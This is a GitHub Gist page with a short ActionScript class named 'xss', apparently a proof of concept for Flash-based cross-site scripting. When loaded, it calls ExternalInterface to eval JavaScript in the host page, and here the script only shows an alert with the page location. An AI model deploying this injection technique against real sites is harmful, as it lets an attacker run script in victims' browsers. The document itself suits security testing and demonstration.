Skip to content

Instantly share code, notes, and snippets.

@jamieparfet
Created November 30, 2018 10:45
Show Gist options
  • Save jamieparfet/7916734344ef897b02f6d764c490d597 to your computer and use it in GitHub Desktop.
Save jamieparfet/7916734344ef897b02f6d764c490d597 to your computer and use it in GitHub Desktop.
package
{
import flash.display.Sprite;
import flash.text.TextField;
import flash.external.ExternalInterface;
public class xss extends Sprite
{
public function xss()
{
var tText:TextField;
tText = new TextField();
tText.text = "Hello";
ExternalInterface.call("eval", "alert(document.location)");
addChild(tText);
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment